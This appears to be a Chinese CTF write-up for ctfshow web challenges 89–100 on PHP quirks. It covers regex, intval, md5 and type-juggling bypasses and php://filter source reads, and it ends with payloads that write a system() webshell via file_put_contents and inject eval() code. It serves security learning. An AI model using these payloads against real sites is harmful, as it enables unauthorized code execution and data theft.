CTFshow-php特性

ctfshow-web-89

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

题目逻辑是传入num,并且用preg_match匹配,如果有数字则输出"no no no!"并退出脚本.

否则进行下一步,如果intval返回真,则输出flag.

preg_match不能处理数组而不会进行正则匹配,并且intval处理数组返回真

payload:num[]= 或num[]=任意

PHP intval() 函数

ctfshow-web-90

intval()函数、强比较

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

这题需要传入num的值不等于4476,并且用num本身的进制把num换成十进制,值为4476.

强比较
在php中,三个等号“===”是全等比较运算符,用于比较两个操作数的值是否相等,同时检测它们的类型是否相同;只有两边的值和数据类型都相等时,运算结果才是TRUE。

payload:

?num=4476.0,//小数点

?num=+4476.0,//正负号

?num=010574,//4476的8进制

?num=010574,//8进制+空格

?num=0x117c,//4476的16进制

?num=4476e0,//科学计数法

?num=4476ppp,//intval()中如果$base=0,则$var中存在字母的话遇到字母就会停止读取,传入4476a会将后面的a丢弃

ctfshow-web-91

preg_match正则表达式匹配

$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

^php$/im中

^php$ :意思是只能是php,

i:标记这是一个大小写不敏感的搜索,不区分大小写

m:多行匹配,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配

满足第一个匹配并且不满足第二个匹配payload:

?cmd=%0aphp

ctfshow-web-92

和90题一样payload:

?num=0x117c

ctfshow-web-93

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

多过滤了字母,可以用八进制.

payload:

?num=010574

ctfshow-web-94

strpos() 函数

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

if(!strpos($num, "0"))增加了这个if语句

strpos(string,find,start)

string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定开始搜索的位置。
返回值:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。字符串位置从 0 开始,不是从 1 开始。

也就是传入的num中的0必须不在首位,如果在首位!strpos($num, "0")=1就会执行if

payload:

?num= 010574
?num=4476.0
?num=+010574

ctfshow-web-95

把点过滤了,不过还是能在前面加空格、换行或者加减号.

?num= 010574
?num=%0a010574
?num=+010574

ctfshow-web-96

文件路径

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
} 

在linux下面表示当前目录是 "./" " . ./"代表上一层目录 “/”:代表根目录.

payload:

./flag.php                            相对路径
/var/www/html/flag.php                绝对路径
php://filter/resource=flag.php        php伪协议 
php://filter/read=convert.base64-encode/resource=flag.php

ctfshow-web-97

MD5值比较绕过

if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?> 
===会比较类型,这个时候可以用到PHP中md5()函数无法处理数组(会返回NULL)来实现绕过。
md5()函数处理数组不会报错,结果还会返回null,在强比较里面null=null为 True 绕过。

payload:

a[]=1&b[]=2

php MD5值比较绕过

PHP中MD5常见绕过

ctfshow-web-98

php三元运算符

$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 
三元运算符语法:条件 ? 结果1 : 结果2说明:问号前面的位置是判断的条件,如果满足条件时结果1,不满足时结果2。
php三元运算符与if的详解

$_GET?$_GET=&$_POST:'flag' 如果存在GET请求,则用POST请求传入的值将其覆盖掉.

代码解释就是:

if(isset($_GET)){
    $_GET=&$_POST;
}else{
    'flag';
}

$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__ GET传入的HTTP_FLAG的值为flag,则输出flag.

所以POST:HTTP_FLAG=flag;GET随便传什么都行.

ctfshow-web-99

highlight_file(__FILE__);
$allow = array();                //设置为数组
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));        //向数组里面插入随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?> 

函数in_array()第三个参数

is_array()可以判断一个值是否在数组中。 is_array()函数

in_array(value,array,type) value :要搜索的值

array : 被搜索的数组

type : 类型,true全等 ,false非全等(默认)

file_put_contents() 函数把一个字符串写入文件中。file_put_contents() 函数

语法:

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
filename: 必需。规定要写入数据的文件。 如果文件不存在,则创建一个新文件。 data: 必需。规定要写入文件的数据。可以是字符串、数组或数据流。

GET传入n=1.php

这题file_put_contents() 函数没有设置第三个参数,所以1.php和数字1比较时,1.php会转化为1再和1比较, 满足条件.

接着POST:content=<?php system("ls");?> 传入php代码到1.php中,然后访问1.php发现flag

查看flag,POST:content=<?php system("tac flag36d.php");?>

ctfshow-web-100

php运算符优先级

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    } 
}
?> 

运算符优先级:

&& > || > = > and > or

$p = 6 or 0;
var_dump($p);//int(6)

$p = 6 || 0;
var_dump($p);//bool(true)

$p = 6 and 0;
var_dump($p); //int(6)

$p = 6 && 0;
var_dump($p); //bool(false)

因为赋值运算的优先级比AND和OR的高,所以先赋值;比&&和||的低,所以逻辑运算符先执行,先逻辑运算,再赋值。

所以v0就等于is_numeric($v1)

v2不能有分号,v3必须有分号,可以直接命令执行,再把中间的('ctfshow')注释掉.

payload:?v1=21&v2=show_source ("ctfshow.php")/*&v3=*/;

或者:

payload:?v1=1&v2=eval($_POST[1])?>&v3=;

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值